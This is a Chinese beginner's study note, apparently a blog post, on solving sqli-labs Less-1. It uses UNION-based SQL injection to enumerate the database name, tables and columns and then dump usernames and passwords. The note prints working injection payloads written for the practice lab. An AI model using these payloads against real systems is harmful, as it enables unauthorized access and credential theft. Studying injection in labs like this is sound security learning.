小白注入学习:sqli-labs--less1学习记录
Sqli-labs ----- Less1 字符型注入:union 联合查询注入
1.判断注入点,注入类型
(1)根据在id后面输入 ' 后根据数据库报错信息,猜想其id的内容存放在已对单引号中
(2)输入 ' and 1=1 --+发现内容返回正常(小白注释:--+后面sql语句内容)
输入' and 1=2 --+ 返回内容错误,这里应该存在字符型的注入漏洞。
2.order by 查询列数
根据order by --+查询语句,发现当前表单有3列。(小白注释:这里猜数字可以用去中间值法)
3.获取数据库名
使用联合查询语句 union select查询数据库名称
?id=-1' union select 1,2,3--+看到页面回显内容,分别有2,3列。
?id=-1' union select 1,2,databse()--+可以在上述3的位置得到数据库名security
(小白注释:database()函数数据库中返回当前数据库名,类似的函数还有version()返回当前数据库版本,current_user()返回mysql的用户名和主机名)
4.获取表名
?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+
表有 users,emails,referers,uagents,显然users是需要的用户表。
5.获取字段名
?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
6.获取账号username密码password
?id=-1' union select 1,2,group_concat(username,'~',password) from users--+(小白注释:这里用~号将账号密码隔开)
PS:小白总结
(1)information_schema可以看作是信息数据库,在其中有几个只读表保存着在 MySQL服务器中所有其他的数据,如数据库名,表名。
(2)information_schema中的 tables表提供了数据库中关于表的信息;colunms提供了表中列的信息
(3)group_concat()作用是将 group by 产生的的所有结果连接起来后返回一个字符串记录,在本例中查询username和 password的所有结果
语法:group_concat( [distinct] 要连接的字段 [ order by 排序字段 asc/desc ] [separator '分隔符 ' ] )
(4)现根据'和报错信息判断是否存在注入点,判断是字符还是数字型注入
用order by查询列数,再根据 union select查询的回显信息一步步获取数据库名,表名,字段名,字段内容。
小白的注入学习记录!!